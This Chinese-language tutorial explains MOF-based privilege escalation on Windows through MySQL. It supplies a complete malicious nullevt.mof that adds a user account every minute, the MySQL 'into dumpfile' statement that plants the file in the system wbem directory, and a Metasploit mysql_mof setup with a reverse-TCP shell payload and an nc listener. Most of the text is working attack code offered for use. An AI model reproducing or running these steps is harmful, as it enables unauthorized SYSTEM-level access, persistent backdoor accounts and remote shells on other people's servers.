1.原理
关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
2.执行
1.将一下代码保存为nullevt.mof文件
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user secist admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.上传并写入
select load_file(“C:/php/APMServ5.2.6/www/htdocs/1.mof”)
into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
3.为了更高的成功率,我们必须分开两次导入该脚本!第二次为用户添加命令如下图:
4.我们打开 cmd 可以看到 secist 账户已经成功提升到管理员组。
5.删除这个用户之后,默认它还是会过5s添加一次用户,解决方法就是:
第一:net stop winmgmt停止服务,
第二:删除文件夹:C:\WINDOWS\system32\wbem\Repository\
第三:net start winmgmt启动服务
3.MSF
metasploit已经有针对该方式的利用代码,原理还是一样生成mof文件,只是metasploit中可以使用到反弹技术,就不用额外添加用户,前提是对方服务器允许访问公网
利用 use exploit/windows/mysql/mysql_mof 模块
use exploit/windows/mysql/mysql_mof
set password xxx //设置登录mysql的密码
set username xxx //设置登录mysql的用户
set rhost xxx //设置要登录的ip地址
set rport xxxx //设置mysql的端口号
set payload windows/shell_reverse_tcp //所使用的反弹模块
set lhost xxx //反弹到的ip地址
set lport xxx //反弹到的端口
show options //设置完成后,使用该命令可查看设置参数情况
exploit
注:我们使用nc监听对应端口号,就可以接收到shell了,通常情况为system权限,因为mof文件是由system执行